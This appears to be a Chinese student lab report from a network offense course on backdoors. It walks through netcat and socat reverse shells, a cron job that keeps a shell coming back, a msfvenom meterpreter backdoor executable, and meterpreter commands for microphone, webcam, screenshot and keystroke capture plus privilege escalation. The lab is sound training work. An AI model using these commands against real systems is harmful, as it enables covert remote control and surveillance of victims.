zoukankan      html  css  js  c++  java
  • 20155208徐子涵《网络对抗》Exp2 后门原理与实践

    20155208徐子涵《网络对抗》Exp2 后门原理与实践

    基础问题回答

    (1)例举你能想到的一个后门进入到你系统中的可能方式?

    答:当我们在非官方网站上下载软件时,后门极有可能会进入我们的系统,或者我们的电脑插入陌生可疑的U盘时,也有可能会让某些后门乘虚而入。

    (2)例举你知道的后门如何启动起来(win及linux)的方式?

    答:可能会通过反弹和windows计划任务(这个是看老师的实验指导后知道的)。

    (3)Meterpreter有哪些给你印像深刻的功能?

    答: 我觉得让我印象最深刻的是操纵对方的摄像头进行拍照和录像(但是我的虚拟机里没有摄像头驱动,没有成功实现)。

    (4)如何发现自己有系统有没有被安装后门?

    我觉得可以通过查看后台进程,看看有没有可疑的进程。

    实验内容

    (1)使用netcat获取主机操作Shell,cron启动 (0.5分)

    (2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)

    (3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

    (4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)

    (5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。

    Linux获得Windows Shell

    • 首先通过ipconfig指令获取windows主机IP

    • 然后使用nc指令监听5208端口:
      nc -l -p 5208

    • 在Windows下,使用ncat.exe程序的-e选项项反向连接Kali主机的5208端口:

    • 连接成功如下,可以运行指令

    一、使用netcat获取主机操作Shell,cron启动

    cron:

    cron是一个linux下 的定时执行工具 ,可以在无需人工干预的情况下运行作业。
    
    crontab -u //设定某个用户的cron服务,一般root 用户在执行 这个命令的时候需要此参数
    
    crontab -l //列出某个用户cron服务的详细内容
    
    crontab -r //删除 没个用户的cron服务
    
    crontab -e //编辑某个用户的cron服务
    
    • 在windows上打开cmd,并通过ncat开放端口5208

    • 在linux上反弹连接win:nc 192.168.88.130 5208 -e /bin/sh

    • 在Kali环境下,使用man crontab指令查看crontab命令的帮助文档,从文档中我们可以知道crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab文件中,以供之后读取和执行。

    • crontab -e指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器就行

    • 在最后一行添加55 * * * * /bin/netcat 192.168.88.130 5208 -e /bin/sh,意思是在每个小时的第37分钟反向连接Windows主机的5208端口,设置成37的原因是我当时的时间是20点53,为了能立马看到效果,所以我将时间设置在了两分钟以后:

    • 当时间到了20点55时,此时已经获得了Kali的shell,可以输入指令(如果在这之前输入指令,屏幕上不会有显示,但是等到了55分时会立马显示出来):

    使用socat获取主机操作Shell, 任务计划启动

    • 下载安装socat软件

    • 为其配置环境变量

    • 在windows上开放5208端口,并把cmd的stderr重定向到stdout

    • socat tcp-listen:5208 exec:cmd,pty,stderr
      在linux开启监听:socat - tcp:192.168.88.130:5208

    • 成功连接到kali虚拟机如图:

    使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    • 输入指令

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.130 LPORT=5208 -f exe > 20155208_backdoor.exe

    生成后门程序如图:

    • 通过nc指令将生成的后门程序传送到Windows主机上

    • 在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口:

    • 设置完成后,执行监听:

    • 然后打开Windows上的后门程序

    • 此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell:

    使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    • 使用record_mic指令可以截获一段音频:

    • 使用webcam_snap指令可以使用摄像头进行拍照

    • 使用webcam stream指令可以使用摄像头进行录像
      (由于我的虚拟机中没有摄像头的驱动,故没有完成这一环节的操作,非常遗憾。)

    • 使用screenshot指令可以进行截屏:

    • 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录:

    先使用getuid指令查看当前用户,使用getsystem指令进行提权

    实验过程中遇到的问题及解决

    问题: 使用socat的时候连接不成功。

    解决方式: 出现这一问题的原因是在设置管理工具中的触发器时出现了错误。

    实验心得总结

    经过了这次实验,让我对后门的概念有了一定的理解,也让我对网络攻防产生了更大的兴趣,从另一方面看,我们在日常使用计算机的时候,也要时刻注意不能让后门程序乘虚而入,时刻关注自己的计算机安全。

  • 相关阅读:
    Max关闭WPF
    InstallShield安装过程介绍
    InstallShield相关资料整理
    .net reflection的一点研究
    (转)VMware增加磁盘容量方法
    领域驱动设计《读书笔记》
    《领域驱动设计C#2008实现》读书笔记
    深入研究c++对象模型
    <转载>com之包容聚合
    基于插件开发的架构研究
  • 原文地址:https://www.cnblogs.com/xuzihan/p/8664132.html
Copyright © 2011-2022 走看看